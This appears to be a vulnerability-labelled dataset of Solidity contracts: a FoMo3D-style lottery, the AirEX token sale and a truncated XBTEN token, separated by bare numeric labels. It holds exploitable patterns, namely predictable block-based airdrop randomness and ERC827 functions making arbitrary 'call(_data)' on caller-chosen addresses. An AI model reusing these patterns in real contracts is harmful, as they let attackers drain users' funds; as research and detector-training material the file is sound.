uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
936
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract PausableToken is ERC827Token, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) { return super.transfer(_to, _value, _data); } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { return super.transferFrom(_from, _to, _value, _data); } function approve(address _spender, uint256 _value, bytes _data) public whenNotPaused returns (bool) { return super.approve(_spender, _value, _data); } function increaseApproval(address _spender, uint _addedValue, bytes _data) public whenNotPaused returns (bool) { return super.increaseApproval(_spender, _addedValue, _data); } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public whenNotPaused returns (bool) { return super.decreaseApproval(_spender, _subtractedValue, _data); } } contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract AirEX is MintableToken { string public constant name = "AIRX"; string public constant symbol = "AIRX"; uint8 public constant decimals = 18; uint256 public hardCap; uint256 public softCap; function AirEX(uint256 _cap) public { require(_cap > 0); hardCap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= hardCap); return super.mint(_to, _amount); } function updateHardCap(uint256 _cap) onlyOwner public { require(_cap > 0); hardCap = _cap; } function updateSoftCap(uint256 _cap) onlyOwner public { require(_cap > 0); softCap = _cap; } } contract SalesManagerUpgradable is Ownable { using SafeMath for uint256; address public ethOwner = 0xe8290a10565CB7aDeE9246661B34BB77CB6e4024; uint public price1 = 100; uint public price2 = 110; uint public price3 = 125; uint public lev1 = 2 ether; uint public lev2 = 10 ether; uint public ethFundRaised; address public tokenAddress; function SalesManagerUpgradable () public { tokenAddress = new AirEX(5550000 ether); } function () payable public { if(msg.value > 0) revert(); } function buyTokens(address _investor) public payable returns (bool){ if (msg.value <= lev1) { uint tokens = msg.value.mul(price1); if (!sendTokens(tokens, msg.value, _investor)) revert(); return true; } else if (msg.value > lev1 && msg.value <= lev2) { tokens = msg.value.mul(price2); if (!sendTokens(tokens, msg.value, _investor)) revert(); return true; } else if (msg.value > lev2) { tokens = msg.value.mul(price3); if (!sendTokens(tokens, msg.value, _investor)) revert(); return true; } return false; } function sendTokens(uint _amount, uint _ethers, address _investor) private returns (bool) { AirEX tokenHolder = AirEX(tokenAddress); if (tokenHolder.mint(_investor, _amount)) { ethFundRaised = ethFundRaised.add(_ethers); ethOwner.transfer(_ethers); return true; } return false; } function generateTokensManually(uint _amount, address _to) public onlyOwner { AirEX tokenHolder = AirEX(tokenAddress); tokenHolder.mint(_to, _amount); } function setColdAddress(address _newAddr) public onlyOwner { ethOwner = _newAddr; } function setPrice1 (uint _price) public onlyOwner { price1 = _price; } function setPrice2 (uint _price) public onlyOwner { price2 = _price; } function setPrice3 (uint _price) public onlyOwner { price3 = _price; } function setLev1 (uint _price) public onlyOwner { lev1 = _price; } function setLev2 (uint _price) public onlyOwner { lev2 = _price; } function transferOwnershipToken(address newTokenOwnerAddress) public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.transferOwnership(newTokenOwnerAddress); } function updateHardCap(uint256 _cap) public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.updateHardCap(_cap); } function updateSoftCap(uint256 _cap) public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.updateSoftCap(_cap); } function unPauseContract() public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.unpause(); } function pauseContract() public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.pause(); } function finishMinting() public onlyOwner { AirEX tokenContract = AirEX(tokenAddress); tokenContract.finishMinting(); } function drop(address[] _destinations, uint256[] _amount) onlyOwner public returns (uint) { uint i = 0; while (i < _destinations.length) { AirEX(tokenAddress).mint(_destinations[i], _amount[i]); i += 1; } return(i); } function withdraw(address _to) public onlyOwner { _to.transfer(this.balance); } function destroySalesManager(address _recipient) public onlyOwner { selfdestruct(_recipient); } } contract DepositManager is Ownable { address public actualSalesAddress; function DepositManager (address _actualAddres) public { actualSalesAddress = _actualAddres; } function () payable public { SalesManagerUpgradable sm = SalesManagerUpgradable(actualSalesAddress); if(!sm.buyTokens.value(msg.value)(msg.sender)) revert(); } function setNewSalesManager (address _newAddr) public onlyOwner { actualSalesAddress = _newAddr; } }
1
4,084
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract saleOwned is owned{ mapping (address => bool) public saleContract; modifier onlySaleOwner { require(msg.sender == owner || true == saleContract[msg.sender]); _; } function addSaleOwner(address saleOwner) onlyOwner public { saleContract[saleOwner] = true; } function delSaleOwner(address saleOwner) onlyOwner public { saleContract[saleOwner] = false; } } contract Pausable is saleOwned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(false == paused); _; } modifier whenPaused { require(true == paused); _; } function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } contract BaseToken is Pausable{ using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) approvals; event Transfer(address indexed from, address indexed to, uint256 value); event TransferFrom(address indexed approval, address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint value); function BaseToken ( string tokenName, string tokenSymbol ) public { decimals = 18; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) whenNotPaused public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool) { assert(balanceOf[_from] >= _value); assert(approvals[_from][msg.sender] >= _value); approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address src, address guy) public view returns (uint256) { return approvals[src][guy]; } function approve(address guy, uint256 _value) public returns (bool) { approvals[msg.sender][guy] = _value; emit Approval(msg.sender, guy, _value); return true; } } contract AdvanceToken is BaseToken { string tokenName = "XBTEN"; string tokenSymbol = "XBTEN"; struct frozenStruct { uint startTime; uint endTime; } mapping (address => bool) public frozenAccount; mapping (address => frozenStruct) public frozenTime; event FrozenFunds(address target, bool frozen, uint startTime, uint endTime); 